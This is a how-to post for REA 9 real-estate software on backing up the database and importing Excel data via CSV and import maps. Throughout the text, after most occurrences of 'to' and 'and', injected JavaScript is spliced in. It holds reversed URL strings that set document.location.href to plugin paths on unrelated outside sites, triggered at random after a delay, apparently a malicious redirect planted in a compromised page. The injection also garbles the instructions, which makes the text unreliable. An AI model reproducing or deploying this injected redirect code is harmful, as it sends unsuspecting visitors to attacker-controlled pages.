Importing data from Excel 101

• By : Msmith
• In : REA
• Comments : 0

First steps before importing outside data intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to REA. (contacts,companies,properties,sales comps. toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and lease comps.)
Steps:

1. First, before making any large-scale changes toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to your database, I suggest creating a backup of your REA 9 Database. To do this, go toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to File -> Backup in REA 9. You will see the following window:

2. Uncheck Shared Files if you want toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to have the backup finish quicker. Once you’re ready toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to begin, hit Backup toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and REA will perform a backup of the database.

3. Once the backup has completed, open the Excel file you are wishing toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to import.

4. In Excel, you will need toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to save the file in a format that REA is able toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to read. This means you will need toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to go toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to File -> Save As in Excel, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and under Save as Type, select CSV (Comma Delimited)

5. Close the Excel file.

6. In REA, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to begin the import, select File -> Import -> File. You will then see the following screen:

7. Under “What kind of data do you want toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to import?” select the data type. (Please note that most options are able toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to import in toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to multiple types simultaneously toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and link the records toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}together.
For example, when importing Properties, it can import Properties, Contacts, Owners toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and Agents)

8. Select Create a New Import Map, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and use the drop-down box toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to select CSV Comma Delimited.

9. Under “Select the file toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to import” click on the browse buttoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and find the file that was saved in step 4.

10. Click Next.

11. You will now see the REA Import Map window.

12. This screen is separated by 4 tabs along the toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top (Property, Site, Owner, Agent). The main screen is separated intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 2 sections: Destination Fields toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and Source Fields.

Source Fields – These are the fields in REA. While under the Property Tab, the fields available will be specific toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Properties. While under one of the contact tabs, the fields will show Contact toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and
Companies fields.

Destination Fields – These are your Excel Columns. The field name column shows the field header toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and the Value shows you an example of the information in that column in Excel.

13. Click under where it says Field Name under Destination Fields toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and you will see a drop-down box. Select a field from this drop-down box.

14. Click the field under Source Fields on the right side that matches the field you selected in step 13. Hold down the left-click buttoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton on the mouse toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and drag toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and drop intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the expression box under Destination fields next toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the associated field

15. Continue selecting the fields toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and dragging toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and dropping the information intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the corresponding fields.

16. Once you have mapped all of the fields for the tab you are currently selected on, move on toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the next tab toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and repeat steps 13-15.

17. Once the fields are selected, you can have REA make sure not toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to import duplicate records. This is what the column marked Key is used for.

18. Checking this key check box for any of the fields will tell REA toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to check all fields that have been checked toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to see if a given record already exists in the REA database. This is useful for being able toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to import a spreadsheet where one owner has multiple properties, or toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to use an import as a means toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to update the information in your database.
-Some common practices for which fields toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to check would be:
–Property: Parcel Number, Address, City, State, Zip Code
–Contacts: Full Name, Address, City, State, Zip Code
You want toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to make sure you check enough of these toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to not find duplicates that aren’t really duplicates. For example; if you checked the Key check box just for State, it would recognize any two records in the same state as being duplicates.
You also want toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to make sure not toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to check toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}too many of these check boxes, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and generally only check them for fields that have information that is less likely toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to change, such as addresses toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and names. Fields that change regularly such as sale price are bad because if you are re importing information toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to update your database with newer information, it would not recognize the duplication.
When REA finds a duplicate, the section labeled “Update Existing Records” will tell the import what toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to do if it finds a duplicate.
The different options are:
Never – This will just skip any records it recognizes making no changes.
Always – This will overwrite the information in REA with any information in the Excel Spreadsheet.
When Blank – This will add any information that is not already in REA but is in the Excel Spreadsheet. Using this option will not make any changes at all toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the table but it will use this toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to find a parent record for other tables contained in this import. For example if you have a source file of spaces toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and one of the columns contains a pointer toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to existing property records in REA you could match that column in your source file toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the destination field in the property table toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and check it as a key, then set the update existing toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Key Only – If the value in that column matches a property record the space would be imported toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and linked toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the property. If no matching value was found in the property database REA would not import the space.

19. Once you have the fields mapped toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and the appropriate keys checked, click on the Save buttoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to save your work.

20. Hit OK.

Please join us for other Webinars which you can sign up for on our web site at http://www.goREA.com. Don’t have time do do the importing yourself ? No problem, email support@gorea.com with your excel file attached toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and we will send you a quote for REA toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to make it for you. You can also email support@gorea.com toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to receive the template toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and maps, all you need toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to do is follow the headings.

 

Below are a few templates toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and example maps : 

[maxbuttoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton id=”15″]